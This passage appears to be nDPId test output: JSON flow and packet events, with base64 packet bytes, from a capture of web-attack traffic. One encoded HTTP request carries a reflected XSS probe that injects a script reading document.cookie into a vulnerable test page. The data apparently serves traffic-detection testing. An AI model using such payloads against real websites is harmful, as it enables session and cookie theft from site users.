kbCuYbFqCWklqjHjcM9XzFY8OjEdq86vW20P4+atMwQgWvYOiSDdBBHAvuU8NlhDbbF5cHW2hac2of0Ps2mzIh4xCgva+TTHGOQvBoghQTDazNnWB6zJjByIA1uRG+1hiNFRs2sOMQ+AumM2pnSUh55KTL5LE0DltRyPmPh3TECEzdlzSkU0vmpAtzGTq1tgzhmk5pNouRVv49INc6\/d8FBc61xm6dZJS550juOjseyOAO+YJq63UZMpy5NOBTxIMGtr4Di5jKvV5askJK82t1Ho4eIUmN1ETIkXTiaIQRFRAISxy1sBuwgrpHqu0me+C4pKT90ZoX0yBgQWYQECSisNOuNoX0J3ZrBEcy8kH1pIFnPArkzIGlFEdjI7PE2cAFKzDQe+5ysHsC21YnFHZZcHf9NQJ5BKcv8e2UduJx\/IL8h6TYPS3NVFMLBy6Jl+ib02C3Z4eIwPGDSdRulpSRRLgrbOi0dL45hMdAJYaRF1A9zYDdpv2PjqTyK3rgoUB2y\/wqAFJ67LZkGNIoQKfRNUs9shoKX6thFRQpPaDonR2tpnjIifMlhqPa4MCZBGxJlLyKH7tHHA73qZ3RK+9NEgtJgyq7k3PkMM7TrxX9Q2MDN1clF+Us6bllfqIYah10+62Tg9Wg6BvBq+BI6eFM\/+y8VbBaid4ALrdKTilxPUCDNpt2ems1VDNGJx6vBKlgwe4ljFCPaRut6LRdMb0+lHurtVcJSMaAXahnoFb58W3FrbDiVEm\/ZlkV9SocqsAxL77eAI2uuhu6QNEzUt2HsOIVlJ5FqC6XXocLMuza+hHiI5uqth3Az6OhXKKuRIXd7kkXTsdQVlNEBzIxS9TMabB7YIdvt6220FuqfkGE3U46fgAgr9ju1X7PF4K2hF0UgtDJ2NVct10rF4L1ce13ugsomWt5wVwSPp1XsJ4vA+ZRxWhePw+lClFEQ6jWgR\/K3jTFNfCfGEG3NJaA\/fiwn9em9Ti3+HJMzYZGdzJRKfOXorKO4qRc\/ONctP2d17dlIp0MQg5kUyoS+Oxln7k2ErtZU0EsygxvrJh7woSQKG81XKj8tRQMPDza3Oj9Oj7+enZ19al9tndx+c\/33U8fT3Y7\/ebhr08\/WzvHX7ut3f75+feDw\/ZOs9n52Nntbmx9LksIpJ\/YTsvxpZxwtvV53pIAHMVS1yw8XB\/\/7X6DA5+GvwppdlnBpF3L4wOicRFXtvnUecMqZ1THac8KIcpubZiR1LPbGjzrzT3rpZ6FdoyqEXSiGG4lGk2w+\/uy5lFcGR9we1ClGKa8Q2jrwFyvBf2V8Xp561kR48vyluNkkTPjEx6zgNNUtP0qW64Ly5\/H9noZL+PJzfRHfJ6MfRna62F7SG+c9EniSRCvYHyV5gwnFUyZWirhRXWPqMs68uyWhXrRuQ4U9LvZb5HCnkl5ed7xBaNqfpqfyov6ThsWevYueTI\/DBJjbJ+d54cLzmYIjn88z9mxjJPYK8hk1Mqy\/uLRYR8ozuNN9MxtPwWJ3hgk2nD8ApDSmuKvwhENIWcbaAu7aCmsHiRDn70tMJ3KXArN7iYVfAR5W7Ah5M86C91zzZTNu\/t1Al+IBiGPchfCd1EcoI59XcppQOKCAm7103YvXwm4ttdHUHjxWYcOpTT3Hltid5XXrvipa7WcgIm9OLN3wfTFzv0fUy24CZIUAAA="} +00432{"flow_id":419,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5970,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347679,"pkt_ts_usec":475256,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jIdAAD4GOVGsEAABwKgKMulUAFDpsRoonYt+KYAQAQLg8wAAAQEICgE7nwkD5XB+"} +00947{"flow_id":419,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5971,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347680,"pkt_ts_usec":515163,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzjIhAAD4GN9GsEAABwKgKMulUAFDpsRoonYt+KYAYAQKO9wAAAQEICgE7oA0D5XB+R0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02820{"flow_id":419,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5972,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347680,"pkt_ts_usec":519998,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAceBqNAAEAGtkvAqAoyrBAAAQBQ6VSdi34p6bEbp4AYAPV9\/AAAAQEICgPlcYMBO6ANSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjI4OjAwIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00433{"flow_id":419,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5973,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347680,"pkt_ts_usec":520708,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jIlAAD4GOU+sEAABwKgKMulUAFDpsRunnYuFE4AQAR3WZQAAAQEICgE7oA4D5XGD"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5974,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":422,"flow_packet_id":1,"flow_first_seen":1499347680746,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59786,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":422,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5974,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347680,"pkt_ts_usec":746296,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8qSxAAD4GHKSsEAABwKgKMumKAFCMLAlrAAAAAKACchA+DwAAAgQFtAQCCAoBO6BHAAAAAAEDAwc="} +00444{"flow_id":422,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5975,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347680,"pkt_ts_usec":746421,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6YpeBd3IjCwJbKAScSCNfgAAAgQFtAQCCAoD5XG8ATugRwEDAwc="} +00432{"flow_id":422,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5976,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347680,"pkt_ts_usec":747000,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0qS1AAD4GHKusEAABwKgKMumKAFCMLAlsXgXdyYAQAOUshgAAAQEICgE7oEcD5XG8"} +01216{"flow_id":419,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5977,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347680,"pkt_ts_usec":747976,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9jIpAAD4GNwWsEAABwKgKMulUAFDpsRunnYuFE4AYAR1c4wAAAQEICgE7oEcD5XGDR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjc0TkJUVkNKVUxCU05BOEVaQkdXQzBCR1BZOU4zWElMWFNZSE9JVDhQUk1JNEJPUlRIMSUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +02962{"flow_id":419,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5978,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347680,"pkt_ts_usec":750916,"pkt_caplen":1932,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1932,"pkt_l4_len":1898,"pkt":"AMGxFOsxABm5CmnxCABFAAd+BqVAAEAGtenAqAoyrBAAAQBQ6VSdi4UT6bEd8IAYAP5+XAAAAQEICgPlcb0BO6BHSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjI4OjAwIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTgNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Y60\/jOBD\/DNL+Dz6fdMBJxNvb\/bCwbVa0haUnHj1SHns6KXITtzV14qzttPDf3ziPNjxLtkioOPY8fuMZj2f8YbP5W\/e8M\/jRP0QTEwnUv2yf9DoI7xJy\/alDSHfQRTfHg9MT1HA+Is8oHhhCDs8wwhNjkn1C5vO5M\/\/kSDUmgwtyZ6U0LFsx3NUZjxOaELsfNj9sNjM9d5GIdesZGY29vb2cNSffaE4YDWG4sdGMmKHIsuyynymftXBHxobFZndwnzCMgvyrhQ27M8SK+IqCCVWamdbl4Gj3C0Ykl7nRNNwI5l6lImaKDrng5n4fXbCRYIFhIeooqTXyuGHICxRPDI\/HaPvG83bQ\/j7q0ihGJa9g6JoN0UGSCB5Qw2WMtrtX1wc7aNZwGh\/Rn102Y0ImEUD7s0lyxQUKweMpUky0sDb3gukJYwYjA9YURgRaYzRRbNTCjkPgL5zNqZ0lEeWxky2Tp9I4bEUp5z8e0TEjMPVQ0ojOLJmTLSxk6MzaKoRbOqP5LEZaBQ+A3Orsfx8UOLcau02SUxaeI4Xr7Hgow3sUCKqt12XEcO7SkM8QD1vY+g4sYqrwemXJCqnMbzR5NH6CJDNSEyHH0kniMUZUQCCscNTSbsAK6p6otpvsg+PSivYna35Cw5CFuUFAkIrSTrvaFjKY2q0RHMk4ANXTFp7zOJRzB5YyHK2t3BJnC5eswEAfuMvB7jFsW5NQ2GXB3c23COQxnL40sFPaSSbJK\/Ifk2K3V5mppxYOXJqs0Legwa5nh4jA8YNJ1G1XlJFUuGts6KxyvjmEx1ClhpFXUD3PgN22\/Y+OpApqeuCxQHbHgjoAMnrsdmQU0ThEvfiWZR5ZD0Wg1agOioweUHgXR+spHnHifEvgqLY4cKYhWxElb+LH7hGHw92zM3rtvUkTIWlYZ3cKjgLGZfa1pn9oYuDmquWigiU7tyxIFUOdg\/6gc3ywHhT9U\/A6ODJ6ONP\/nLxXsFqJ\/hAut1pOqXA9QoO223Z6Zz1Uc0anPq8FqWTB7jWMkMe0jVbU69ZMr4\/l3mnt1wKSM2AX6hmoVc5P19wKK05V9GuWV1FvwqFKHIvi6x3Q6Lq7oUsUnpHqIYQ1r6DsLEJ1ufI6XJJh19aPEB\/5VL3tAH4ej+QKdRUq7PaP+3A6RrKeIjqUqVmhZkGD3QM7fL9ttYXeSvVLIuyeZONHAIqK7UHt93IhaEvYZSEInYxdLXTbtWoh2Jw0fqW7gJK5URTMFeGzRQXrBzJkPlWMFvXzSKoIxTSCah34oezNUlwL\/44RdEsTCdi\/Hw6K2rSZFBZfT6jZ0uhepipj\/lZW1nGSVot\/XIi2v4v6tkqk02HEgWxGRQqfXv5ZaCOJmzcVxKLM8SaKucdMCImKVsOFyl9LwcDD4+2tz2ftwVXn78uTtnd28OXw3\/b3687H9vf+j72zTze9kxvvx\/F5b\/Clf3Ha+9w+vxgcN7Z2vlYlhDJIbaflBFJOOdv5umhJAI5imWuWHm5O\/nJP4cBn4a8iml9WMGnXiviAaFzGlW0+ddGwyjnVSdazQoiyOxtmJPPsrgbP+gvP+plnoR2jagydKIZbicZT7P66rEUU18YH3D5UKYYp\/xDaOjDX70B\/ZXyvaD1rYnxd3mqcLHbmfMoTFnKaibZfVct1afnL2N4u43U8hZnBmC+ScSAjez3sjuhPJ3uSeBbEGxjfpDnHSQVTppFJeFXdE+qqjiK75aFedq5DBf1u\/lumsBdSXpF3AsGoWpzm5\/KivteGRb69S57ND8PUGNtnF\/nhirM5guOfLHJ2IpM08UsyGXfyrL98dNgHistkG71w289Aoj8BiTYcvwGkrKb4o3RES8j5FtrBLloJy4NkGLD3BaYzmSuh2d2kgo8hbws2gvzZZJF7qZmyeXe\/SeAL0TDiceFC+C6LA3RiX5cKGpC4pIBbvdf1ipWQa3t9hKUXX3ToSErz4LElcdd57Uqeu1arCZjYizN\/F8xe7Nz\/AabLd2qSFAAA"} +00433{"flow_id":419,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5979,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347680,"pkt_ts_usec":751622,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jItAAD4GOU2sEAABwKgKMulUAFDpsR3wnYuMXYAQATvMQAAAAQEICgE7oEgD5XG9"} +00948{"flow_id":419,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5980,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347681,"pkt_ts_usec":788720,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzjIxAAD4GN82sEAABwKgKMulUAFDpsR3wnYuMXYAYATt6RQAAAQEICgE7oUsD5XG9R0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02821{"flow_id":419,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5981,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347681,"pkt_ts_usec":791781,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAceBqdAAEAGtkfAqAoyrBAAAQBQ6VSdi4xd6bEfb4AYAQd9\/AAAAQEICgPlcsEBO6FLSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjI4OjAxIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTcNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5989,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":423,"flow_packet_id":1,"flow_first_seen":1499347683313,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59812,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":423,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5989,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347683,"pkt_ts_usec":313458,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8x61AAD4G\/iKsEAABwKgKMumkAFCTI2VlAAAAAKACchDYggAAAgQFtAQCCAoBO6LIAAAAAAEDAwc="} +00444{"flow_id":423,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5990,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347683,"pkt_ts_usec":313586,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6aQ4uuFckyNlZqAScSBHKAAAAgQFtAQCCAoD5XQ9ATuiyAEDAwc="} 